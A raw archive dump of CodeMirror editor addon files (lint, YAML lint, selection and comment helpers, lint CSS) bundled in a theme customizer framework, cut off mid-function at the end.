                to: CodeMirror.Pos(e.location.last_line, e.location.last_column),
                severity: 'error',
                message: e.message});
  }
  return found;
});

});
PK     0w\{  {  C  customizer/framework/assets/js/vendor/codemirror/addon/lint/lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var GUTTER_ID = "CodeMirror-lint-markers";

  function showTooltip(e, content) {
    var tt = document.createElement("div");
    tt.className = "CodeMirror-lint-tooltip";
    tt.appendChild(content.cloneNode(true));
    document.body.appendChild(tt);

    function position(e) {
      if (!tt.parentNode) return CodeMirror.off(document, "mousemove", position);
      tt.style.top = Math.max(0, e.clientY - tt.offsetHeight - 5) + "px";
      tt.style.left = (e.clientX + 5) + "px";
    }
    CodeMirror.on(document, "mousemove", position);
    position(e);
    if (tt.style.opacity != null) tt.style.opacity = 1;
    return tt;
  }
  function rm(elt) {
    if (elt.parentNode) elt.parentNode.removeChild(elt);
  }
  function hideTooltip(tt) {
    if (!tt.parentNode) return;
    if (tt.style.opacity == null) rm(tt);
    tt.style.opacity = 0;
    setTimeout(function() { rm(tt); }, 600);
  }

  function showTooltipFor(e, content, node) {
    var tooltip = showTooltip(e, content);
    function hide() {
      CodeMirror.off(node, "mouseout", hide);
      if (tooltip) { hideTooltip(tooltip); tooltip = null; }
    }
    var poll = setInterval(function() {
      if (tooltip) for (var n = node;; n = n.parentNode) {
        if (n && n.nodeType == 11) n = n.host;
        if (n == document.body) return;
        if (!n) { hide(); break; }
      }
      if (!tooltip) return clearInterval(poll);
    }, 400);
    CodeMirror.on(node, "mouseout", hide);
  }

  function LintState(cm, options, hasGutter) {
    this.marked = [];
    this.options = options;
    this.timeout = null;
    this.hasGutter = hasGutter;
    this.onMouseOver = function(e) { onMouseOver(cm, e); };
    this.waitingFor = 0
  }

  function parseOptions(_cm, options) {
    if (options instanceof Function) return {getAnnotations: options};
    if (!options || options === true) options = {};
    return options;
  }

  function clearMarks(cm) {
    var state = cm.state.lint;
    if (state.hasGutter) cm.clearGutter(GUTTER_ID);
    for (var i = 0; i < state.marked.length; ++i)
      state.marked[i].clear();
    state.marked.length = 0;
  }

  function makeMarker(labels, severity, multiple, tooltips) {
    var marker = document.createElement("div"), inner = marker;
    marker.className = "CodeMirror-lint-marker-" + severity;
    if (multiple) {
      inner = marker.appendChild(document.createElement("div"));
      inner.className = "CodeMirror-lint-marker-multiple";
    }

    if (tooltips != false) CodeMirror.on(inner, "mouseover", function(e) {
      showTooltipFor(e, labels, inner);
    });

    return marker;
  }

  function getMaxSeverity(a, b) {
    if (a == "error") return a;
    else return b;
  }

  function groupByLine(annotations) {
    var lines = [];
    for (var i = 0; i < annotations.length; ++i) {
      var ann = annotations[i], line = ann.from.line;
      (lines[line] || (lines[line] = [])).push(ann);
    }
    return lines;
  }

  function annotationTooltip(ann) {
    var severity = ann.severity;
    if (!severity) severity = "error";
    var tip = document.createElement("div");
    tip.className = "CodeMirror-lint-message-" + severity;
    tip.appendChild(document.createTextNode(ann.message));
    return tip;
  }

  function lintAsync(cm, getAnnotations, passOptions) {
    var state = cm.state.lint
    var id = ++state.waitingFor
    function abort() {
      id = -1
      cm.off("change", abort)
    }
    cm.on("change", abort)
    getAnnotations(cm.getValue(), function(annotations, arg2) {
      cm.off("change", abort)
      if (state.waitingFor != id) return
      if (arg2 && annotations instanceof CodeMirror) annotations = arg2
      updateLinting(cm, annotations)
    }, passOptions, cm);
  }

  function startLinting(cm) {
    var state = cm.state.lint, options = state.options;
    var passOptions = options.options || options; // Support deprecated passing of `options` property in options
    var getAnnotations = options.getAnnotations || cm.getHelper(CodeMirror.Pos(0, 0), "lint");
    if (!getAnnotations) return;
    if (options.async || getAnnotations.async) {
      lintAsync(cm, getAnnotations, passOptions)
    } else {
      updateLinting(cm, getAnnotations(cm.getValue(), passOptions, cm));
    }
  }

  function updateLinting(cm, annotationsNotSorted) {
    clearMarks(cm);
    var state = cm.state.lint, options = state.options;

    var annotations = groupByLine(annotationsNotSorted);

    for (var line = 0; line < annotations.length; ++line) {
      var anns = annotations[line];
      if (!anns) continue;

      var maxSeverity = null;
      var tipLabel = state.hasGutter && document.createDocumentFragment();

      for (var i = 0; i < anns.length; ++i) {
        var ann = anns[i];
        var severity = ann.severity;
        if (!severity) severity = "error";
        maxSeverity = getMaxSeverity(maxSeverity, severity);

        if (options.formatAnnotation) ann = options.formatAnnotation(ann);
        if (state.hasGutter) tipLabel.appendChild(annotationTooltip(ann));

        if (ann.to) state.marked.push(cm.markText(ann.from, ann.to, {
          className: "CodeMirror-lint-mark-" + severity,
          __annotation: ann
        }));
      }

      if (state.hasGutter)
        cm.setGutterMarker(line, GUTTER_ID, makeMarker(tipLabel, maxSeverity, anns.length > 1,
                                                       state.options.tooltips));
    }
    if (options.onUpdateLinting) options.onUpdateLinting(annotationsNotSorted, annotations, cm);
  }

  function onChange(cm) {
    var state = cm.state.lint;
    if (!state) return;
    clearTimeout(state.timeout);
    state.timeout = setTimeout(function(){startLinting(cm);}, state.options.delay || 500);
  }

  function popupSpanTooltip(ann, e) {
    var target = e.target || e.srcElement;
    showTooltipFor(e, annotationTooltip(ann), target);
  }

  function onMouseOver(cm, e) {
    var target = e.target || e.srcElement;
    if (!/\bCodeMirror-lint-mark-/.test(target.className)) return;
    var box = target.getBoundingClientRect(), x = (box.left + box.right) / 2, y = (box.top + box.bottom) / 2;
    var spans = cm.findMarksAt(cm.coordsChar({left: x, top: y}, "client"));
    for (var i = 0; i < spans.length; ++i) {
      var ann = spans[i].__annotation;
      if (ann) return popupSpanTooltip(ann, e);
    }
  }

  CodeMirror.defineOption("lint", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      clearMarks(cm);
      if (cm.state.lint.options.lintOnChange !== false)
        cm.off("change", onChange);
      CodeMirror.off(cm.getWrapperElement(), "mouseover", cm.state.lint.onMouseOver);
      clearTimeout(cm.state.lint.timeout);
      delete cm.state.lint;
    }

    if (val) {
      var gutters = cm.getOption("gutters"), hasLintGutter = false;
      for (var i = 0; i < gutters.length; ++i) if (gutters[i] == GUTTER_ID) hasLintGutter = true;
      var state = cm.state.lint = new LintState(cm, parseOptions(cm, val), hasLintGutter);
      if (state.options.lintOnChange !== false)
        cm.on("change", onChange);
      if (state.options.tooltips != false)
        CodeMirror.on(cm.getWrapperElement(), "mouseover", state.onMouseOver);

      startLinting(cm);
    }
  });

  CodeMirror.defineExtension("performLint", function() {
    if (this.state.lint) startLinting(this);
  });
});
PK     0w\&u  u  N  customizer/framework/assets/js/vendor/codemirror/addon/lint/javascript-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  // declare global: JSHINT

  var bogus = [ "Dangerous comment" ];

  var warnings = [ [ "Expected '{'",
                     "Statement body should be inside '{ }' braces." ] ];

  var errors = [ "Missing semicolon", "Extra comma", "Missing property name",
                 "Unmatched ", " and instead saw", " is not defined",
                 "Unclosed string", "Stopping, unable to continue" ];

  function validator(text, options) {
    if (!window.JSHINT) return [];
    JSHINT(text, options, options.globals);
    var errors = JSHINT.data().errors, result = [];
    if (errors) parseErrors(errors, result);
    return result;
  }

  CodeMirror.registerHelper("lint", "javascript", validator);

  function cleanup(error) {
    // All problems are warnings by default
    fixWith(error, warnings, "warning", true);
    fixWith(error, errors, "error");

    return isBogus(error) ? null : error;
  }

  function fixWith(error, fixes, severity, force) {
    var description, fix, find, replace, found;

    description = error.description;

    for ( var i = 0; i < fixes.length; i++) {
      fix = fixes[i];
      find = (typeof fix === "string" ? fix : fix[0]);
      replace = (typeof fix === "string" ? null : fix[1]);
      found = description.indexOf(find) !== -1;

      if (force || found) {
        error.severity = severity;
      }
      if (found && replace) {
        error.description = replace;
      }
    }
  }

  function isBogus(error) {
    var description = error.description;
    for ( var i = 0; i < bogus.length; i++) {
      if (description.indexOf(bogus[i]) !== -1) {
        return true;
      }
    }
    return false;
  }

  function parseErrors(errors, output) {
    for ( var i = 0; i < errors.length; i++) {
      var error = errors[i];
      if (error) {
        var linetabpositions, index;

        linetabpositions = [];

        // This next block is to fix a problem in jshint. Jshint
        // replaces
        // all tabs with spaces then performs some checks. The error
        // positions (character/space) are then reported incorrectly,
        // not taking the replacement step into account. Here we look
        // at the evidence line and try to adjust the character position
        // to the correct value.
        if (error.evidence) {
          // Tab positions are computed once per line and cached
          var tabpositions = linetabpositions[error.line];
          if (!tabpositions) {
            var evidence = error.evidence;
            tabpositions = [];
            // ugggh phantomjs does not like this
            // forEachChar(evidence, function(item, index) {
            Array.prototype.forEach.call(evidence, function(item,
                                                            index) {
              if (item === '\t') {
                // First col is 1 (not 0) to match error
                // positions
                tabpositions.push(index + 1);
              }
            });
            linetabpositions[error.line] = tabpositions;
          }
          if (tabpositions.length > 0) {
            var pos = error.character;
            tabpositions.forEach(function(tabposition) {
              if (pos > tabposition) pos -= 1;
            });
            error.character = pos;
          }
        }

        var start = error.character - 1, end = start + 1;
        if (error.evidence) {
          index = error.evidence.substring(start).search(/.\b/);
          if (index > -1) {
            end += index;
          }
        }

        // Convert to format expected by validation service
        error.description = error.reason;// + "(jshint)";
        error.start = error.character;
        error.end = end;
        error = cleanup(error);

        if (error)
          output.push({message: error.description,
                       severity: error.severity,
                       from: CodeMirror.Pos(error.line - 1, start),
                       to: CodeMirror.Pos(error.line - 1, end)});
      }
    }
  }
});
PK     0w\Ζ    D  customizer/framework/assets/js/vendor/codemirror/addon/lint/lint.cssnu [        /* The lint marker gutter */
.CodeMirror-lint-markers {
  width: 16px;
}

.CodeMirror-lint-tooltip {
  background-color: infobackground;
  border: 1px solid black;
  border-radius: 4px 4px 4px 4px;
  color: infotext;
  font-family: monospace;
  font-size: 10pt;
  overflow: hidden;
  padding: 2px 5px;
  position: fixed;
  white-space: pre;
  white-space: pre-wrap;
  z-index: 100;
  max-width: 600px;
  opacity: 0;
  transition: opacity .4s;
  -moz-transition: opacity .4s;
  -webkit-transition: opacity .4s;
  -o-transition: opacity .4s;
  -ms-transition: opacity .4s;
}

.CodeMirror-lint-mark-error, .CodeMirror-lint-mark-warning {
  background-position: left bottom;
  background-repeat: repeat-x;
}

.CodeMirror-lint-mark-error {
  background-image:
  url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJDw4cOCW1/KIAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAHElEQVQI12NggIL/DAz/GdA5/xkY/qPKMDAwAADLZwf5rvm+LQAAAABJRU5ErkJggg==")
  ;
}

.CodeMirror-lint-mark-warning {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJFhQXEbhTg7YAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAMklEQVQI12NkgIIvJ3QXMjAwdDN+OaEbysDA4MPAwNDNwMCwiOHLCd1zX07o6kBVGQEAKBANtobskNMAAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-error, .CodeMirror-lint-marker-warning {
  background-position: center center;
  background-repeat: no-repeat;
  cursor: pointer;
  display: inline-block;
  height: 16px;
  width: 16px;
  vertical-align: middle;
  position: relative;
}

.CodeMirror-lint-message-error, .CodeMirror-lint-message-warning {
  padding-left: 18px;
  background-position: top left;
  background-repeat: no-repeat;
}

.CodeMirror-lint-marker-error, .CodeMirror-lint-message-error {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAHlBMVEW7AAC7AACxAAC7AAC7AAAAAAC4AAC5AAD///+7AAAUdclpAAAABnRSTlMXnORSiwCK0ZKSAAAATUlEQVR42mWPOQ7AQAgDuQLx/z8csYRmPRIFIwRGnosRrpamvkKi0FTIiMASR3hhKW+hAN6/tIWhu9PDWiTGNEkTtIOucA5Oyr9ckPgAWm0GPBog6v4AAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-warning, .CodeMirror-lint-message-warning {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAANlBMVEX/uwDvrwD/uwD/uwD/uwD/uwD/uwD/uwD/uwD6twD/uwAAAADurwD2tQD7uAD+ugAAAAD/uwDhmeTRAAAADHRSTlMJ8mN1EYcbmiixgACm7WbuAAAAVklEQVR42n3PUQqAIBBFUU1LLc3u/jdbOJoW1P08DA9Gba8+YWJ6gNJoNYIBzAA2chBth5kLmG9YUoG0NHAUwFXwO9LuBQL1giCQb8gC9Oro2vp5rncCIY8L8uEx5ZkAAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-multiple {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAMAAADzjKfhAAAACVBMVEUAAAAAAAC/v7914kyHAAAAAXRSTlMAQObYZgAAACNJREFUeNo1ioEJAAAIwmz/H90iFFSGJgFMe3gaLZ0od+9/AQZ0ADosbYraAAAAAElFTkSuQmCC");
  background-repeat: no-repeat;
  background-position: right bottom;
  width: 100%; height: 100%;
}
PK     0w\sP  P  H  customizer/framework/assets/js/vendor/codemirror/addon/lint/yaml-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

// Depends on js-yaml.js from https://github.com/nodeca/js-yaml

// declare global: jsyaml

CodeMirror.registerHelper("lint", "yaml", function(text) {
  var found = [];
  try { jsyaml.load(text); }
  catch(e) {
      var loc = e.mark;
      found.push({ from: CodeMirror.Pos(loc.line, loc.column), to: CodeMirror.Pos(loc.line, loc.column), message: e.message });
  }
  return found;
});

});
PK     0w\30    U  customizer/framework/assets/js/vendor/codemirror/addon/selection/selection-pointer.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("selectionPointer", false, function(cm, val) {
    var data = cm.state.selectionPointer;
    if (data) {
      CodeMirror.off(cm.getWrapperElement(), "mousemove", data.mousemove);
      CodeMirror.off(cm.getWrapperElement(), "mouseout", data.mouseout);
      CodeMirror.off(window, "scroll", data.windowScroll);
      cm.off("cursorActivity", reset);
      cm.off("scroll", reset);
      cm.state.selectionPointer = null;
      cm.display.lineDiv.style.cursor = "";
    }
    if (val) {
      data = cm.state.selectionPointer = {
        value: typeof val == "string" ? val : "default",
        mousemove: function(event) { mousemove(cm, event); },
        mouseout: function(event) { mouseout(cm, event); },
        windowScroll: function() { reset(cm); },
        rects: null,
        mouseX: null, mouseY: null,
        willUpdate: false
      };
      CodeMirror.on(cm.getWrapperElement(), "mousemove", data.mousemove);
      CodeMirror.on(cm.getWrapperElement(), "mouseout", data.mouseout);
      CodeMirror.on(window, "scroll", data.windowScroll);
      cm.on("cursorActivity", reset);
      cm.on("scroll", reset);
    }
  });

  function mousemove(cm, event) {
    var data = cm.state.selectionPointer;
    if (event.buttons == null ? event.which : event.buttons) {
      data.mouseX = data.mouseY = null;
    } else {
      data.mouseX = event.clientX;
      data.mouseY = event.clientY;
    }
    scheduleUpdate(cm);
  }

  function mouseout(cm, event) {
    if (!cm.getWrapperElement().contains(event.relatedTarget)) {
      var data = cm.state.selectionPointer;
      data.mouseX = data.mouseY = null;
      scheduleUpdate(cm);
    }
  }

  function reset(cm) {
    cm.state.selectionPointer.rects = null;
    scheduleUpdate(cm);
  }

  function scheduleUpdate(cm) {
    if (!cm.state.selectionPointer.willUpdate) {
      cm.state.selectionPointer.willUpdate = true;
      setTimeout(function() {
        update(cm);
        cm.state.selectionPointer.willUpdate = false;
      }, 50);
    }
  }

  function update(cm) {
    var data = cm.state.selectionPointer;
    if (!data) return;
    if (data.rects == null && data.mouseX != null) {
      data.rects = [];
      if (cm.somethingSelected()) {
        for (var sel = cm.display.selectionDiv.firstChild; sel; sel = sel.nextSibling)
          data.rects.push(sel.getBoundingClientRect());
      }
    }
    var inside = false;
    if (data.mouseX != null) for (var i = 0; i < data.rects.length; i++) {
      var rect = data.rects[i];
      if (rect.left <= data.mouseX && rect.right >= data.mouseX &&
          rect.top <= data.mouseY && rect.bottom >= data.mouseY)
        inside = true;
    }
    var cursor = inside ? data.value : "";
    if (cm.display.lineDiv.style.cursor != cursor)
      cm.display.lineDiv.style.cursor = cursor;
  }
});
PK     0w\J	  	  O  customizer/framework/assets/js/vendor/codemirror/addon/selection/active-line.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Because sometimes you need to style the cursor's line.
//
// Adds an option 'styleActiveLine' which, when enabled, gives the
// active line's wrapping <div> the CSS class "CodeMirror-activeline",
// and gives its background <div> the class "CodeMirror-activeline-background".

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var WRAP_CLASS = "CodeMirror-activeline";
  var BACK_CLASS = "CodeMirror-activeline-background";

  CodeMirror.defineOption("styleActiveLine", false, function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.state.activeLines = [];
      updateActiveLines(cm, cm.listSelections());
      cm.on("beforeSelectionChange", selectionChange);
    } else if (!val && prev) {
      cm.off("beforeSelectionChange", selectionChange);
      clearActiveLines(cm);
      delete cm.state.activeLines;
    }
  });

  function clearActiveLines(cm) {
    for (var i = 0; i < cm.state.activeLines.length; i++) {
      cm.removeLineClass(cm.state.activeLines[i], "wrap", WRAP_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "background", BACK_CLASS);
    }
  }

  function sameArray(a, b) {
    if (a.length != b.length) return false;
    for (var i = 0; i < a.length; i++)
      if (a[i] != b[i]) return false;
    return true;
  }

  function updateActiveLines(cm, ranges) {
    var active = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      if (!range.empty()) continue;
      var line = cm.getLineHandleVisualStart(range.head.line);
      if (active[active.length - 1] != line) active.push(line);
    }
    if (sameArray(cm.state.activeLines, active)) return;
    cm.operation(function() {
      clearActiveLines(cm);
      for (var i = 0; i < active.length; i++) {
        cm.addLineClass(active[i], "wrap", WRAP_CLASS);
        cm.addLineClass(active[i], "background", BACK_CLASS);
      }
      cm.state.activeLines = active;
    });
  }

  function selectionChange(cm, sel) {
    updateActiveLines(cm, sel.ranges);
  }
});
PK     0w\:G    R  customizer/framework/assets/js/vendor/codemirror/addon/selection/mark-selection.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Because sometimes you need to mark the selected *text*.
//
// Adds an option 'styleSelectedText' which, when enabled, gives
// selected text the CSS class given as option value, or
// "CodeMirror-selectedtext" when the value is not a string.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("styleSelectedText", false, function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.state.markedSelection = [];
      cm.state.markedSelectionStyle = typeof val == "string" ? val : "CodeMirror-selectedtext";
      reset(cm);
      cm.on("cursorActivity", onCursorActivity);
      cm.on("change", onChange);
    } else if (!val && prev) {
      cm.off("cursorActivity", onCursorActivity);
      cm.off("change", onChange);
      clear(cm);
      cm.state.markedSelection = cm.state.markedSelectionStyle = null;
    }
  });

  function onCursorActivity(cm) {
    cm.operation(function() { update(cm); });
  }

  function onChange(cm) {
    if (cm.state.markedSelection.length)
      cm.operation(function() { clear(cm); });
  }

  var CHUNK_SIZE = 8;
  var Pos = CodeMirror.Pos;
  var cmp = CodeMirror.cmpPos;

  function coverRange(cm, from, to, addAt) {
    if (cmp(from, to) == 0) return;
    var array = cm.state.markedSelection;
    var cls = cm.state.markedSelectionStyle;
    for (var line = from.line;;) {
      var start = line == from.line ? from : Pos(line, 0);
      var endLine = line + CHUNK_SIZE, atEnd = endLine >= to.line;
      var end = atEnd ? to : Pos(endLine, 0);
      var mark = cm.markText(start, end, {className: cls});
      if (addAt == null) array.push(mark);
      else array.splice(addAt++, 0, mark);
      if (atEnd) break;
      line = endLine;
    }
  }

  function clear(cm) {
    var array = cm.state.markedSelection;
    for (var i = 0; i < array.length; ++i) array[i].clear();
    array.length = 0;
  }

  function reset(cm) {
    clear(cm);
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++)
      coverRange(cm, ranges[i].from(), ranges[i].to());
  }

  function update(cm) {
    if (!cm.somethingSelected()) return clear(cm);
    if (cm.listSelections().length > 1) return reset(cm);

    var from = cm.getCursor("start"), to = cm.getCursor("end");

    var array = cm.state.markedSelection;
    if (!array.length) return coverRange(cm, from, to);

    var coverStart = array[0].find(), coverEnd = array[array.length - 1].find();
    if (!coverStart || !coverEnd || to.line - from.line < CHUNK_SIZE ||
        cmp(from, coverEnd.to) >= 0 || cmp(to, coverStart.from) <= 0)
      return reset(cm);

    while (cmp(from, coverStart.from) > 0) {
      array.shift().clear();
      coverStart = array[0].find();
    }
    if (cmp(from, coverStart.from) < 0) {
      if (coverStart.to.line - from.line < CHUNK_SIZE) {
        array.shift().clear();
        coverRange(cm, from, coverStart.to, 0);
      } else {
        coverRange(cm, from, coverStart.from, 0);
      }
    }

    while (cmp(to, coverEnd.to) < 0) {
      array.pop().clear();
      coverEnd = array[array.length - 1].find();
    }
    if (cmp(to, coverEnd.to) > 0) {
      if (to.line - coverEnd.from.line < CHUNK_SIZE) {
        array.pop().clear();
        coverRange(cm, coverEnd.from, to);
      } else {
        coverRange(cm, coverEnd.to, to);
      }
    }
  }
});
PK     0w\)G  G  Q  customizer/framework/assets/js/vendor/codemirror/addon/comment/continuecomment.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var modes = ["clike", "css", "javascript"];

  for (var i = 0; i < modes.length; ++i)
    CodeMirror.extendMode(modes[i], {blockCommentContinue: " * "});

  function continueComment(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), mode, inserts = [];
    for (var i = 0; i < ranges.length; i++) {
      var pos = ranges[i].head, token = cm.getTokenAt(pos);
      if (token.type != "comment") return CodeMirror.Pass;
      var modeHere = CodeMirror.innerMode(cm.getMode(), token.state).mode;
      if (!mode) mode = modeHere;
      else if (mode != modeHere) return CodeMirror.Pass;

      var insert = null;
      if (mode.blockCommentStart && mode.blockCommentContinue) {
        var end = token.string.indexOf(mode.blockCommentEnd);
        var full = cm.getRange(CodeMirror.Pos(pos.line, 0), CodeMirror.Pos(pos.line, token.end)), found;
        if (end != -1 && end == token.string.length - mode.blockCommentEnd.length && pos.ch >= end) {
          // Comment ended, don't continue it
        } else if (token.string.indexOf(mode.blockCommentStart) == 0) {
          insert = full.slice(0, token.start);
          if (!/^\s*$/.test(insert)) {
            insert = "";
            for (var j = 0; j < token.start; ++j) insert += " ";
          }
        } else if ((found = full.indexOf(mode.blockCommentContinue)) != -1 &&
                   found + mode.blockCommentContinue.length > token.start &&
                   /^\s*$/.test(full.slice(0, found))) {
          insert = full.slice(0, found);
        }
        if (insert != null) insert += mode.blockCommentContinue;
      }
      if (insert == null && mode.lineComment && continueLineCommentEnabled(cm)) {
        var line = cm.getLine(pos.line), found = line.indexOf(mode.lineComment);
        if (found > -1) {
          insert = line.slice(0, found);
          if (/\S/.test(insert)) insert = null;
          else insert += mode.lineComment + line.slice(found + mode.lineComment.length).match(/^\s*/)[0];
        }
      }
      if (insert == null) return CodeMirror.Pass;
      inserts[i] = "\n" + insert;
    }

    cm.operation(function() {
      for (var i = ranges.length - 1; i >= 0; i--)
        cm.replaceRange(inserts[i], ranges[i].from(), ranges[i].to(), "+insert");
    });
  }

  function continueLineCommentEnabled(cm) {
    var opt = cm.getOption("continueComments");
    if (opt && typeof opt == "object")
      return opt.continueLineComment !== false;
    return true;
  }

  CodeMirror.defineOption("continueComments", null, function(cm, val, prev) {
    if (prev && prev != CodeMirror.Init)
      cm.removeKeyMap("continueComment");
    if (val) {
      var key = "Enter";
      if (typeof val == "string")
        key = val;
      else if (typeof val == "object" && val.key)
        key = val.key;
      var map = {name: "continueComment"};
      map[key] = continueComment;
      cm.addKeyMap(map);
    }
  });
});
PK     0w\¾n      I  customizer/framework/assets/js/vendor/codemirror/addon/comment/comment.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var noOptions = {};
  var nonWS = /[^\s\u00a0]/;
  var Pos = CodeMirror.Pos;

  function firstNonWS(str) {
    var found = str.search(nonWS);
    return found == -1 ? 0 : found;
  }

  CodeMirror.commands.toggleComment = function(cm) {
    cm.toggleComment();
  };

  CodeMirror.defineExtension("toggleComment", function(options) {
    if (!options) options = noOptions;
    var cm = this;
    var minLine = Infinity, ranges = this.listSelections(), mode = null;
    for (var i = ranges.length - 1; i >= 0; i--) {
      var from = ranges[i].from(), to = ranges[i].to();
      if (from.line >= minLine) continue;
      if (to.line >= minLine) to = Pos(minLine, 0);
      minLine = from.line;
      if (mode == null) {
        if (cm.uncomment(from, to, options)) mode = "un";
        else { cm.lineComment(from, to, options); mode = "line"; }
      } else if (mode == "un") {
        cm.uncomment(from, to, options);
      } else {
        cm.lineComment(from, to, options);
      }
    }
  });

  CodeMirror.defineExtension("lineComment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = self.getModeAt(from);
    var commentString = options.lineComment || mode.lineComment;
    if (!commentString) {
      if (options.blockCommentStart || mode.blockCommentStart) {
        options.fullLines = true;
        self.blockComment(from, to, options);
      }
      return;
    }
    var firstLine = self.getLine(from.line);
    if (firstLine == null) return;
    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line + 1 : to.line, self.lastLine() + 1);
    var pad = options.padding == null ? " " : options.padding;
    var blankLines = options.commentBlankLines || from.line == to.line;

    self.operation(function() {
      if (options.indent) {
        var baseString = null;
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i);
          var whitespace = line.slice(0, firstNonWS(line));
          if (baseString == null || baseString.length > whitespace.length) {
            baseString = whitespace;
          }
        }
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i), cut = baseString.length;
          if (!blankLines && !nonWS.test(line)) continue;
          if (line.slice(0, cut) != baseString) cut = firstNonWS(line);
          self.replaceRange(baseString + commentString + pad, Pos(i, 0), Pos(i, cut));
        }
      } else {
        for (var i = from.line; i < end; ++i) {
          if (blankLines || nonWS.test(self.getLine(i)))
            self.replaceRange(commentString + pad, Pos(i, 0));
        }
      }
    });
  });

  CodeMirror.defineExtension("blockComment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = self.getModeAt(from);
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) {
      if ((options.lineComment || mode.lineComment) && options.fullLines != false)
        self.lineComment(from, to, options);
      return;
    }

    var end = Math.min(to.line, self.lastLine());
    if (end != from.line && to.ch == 0 && nonWS.test(self.getLine(end))) --end;

    var pad = options.padding == null ? " " : options.padding;
    if (from.line > end) return;

    self.operation(function() {
      if (options.fullLines != false) {
        var lastLineHasText = nonWS.test(self.getLine(end));
        self.replaceRange(pad + endString, Pos(end));
        self.replaceRange(startString + pad, Pos(from.line, 0));
        var lead = options.blockCommentLead || mode.blockCommentLead;
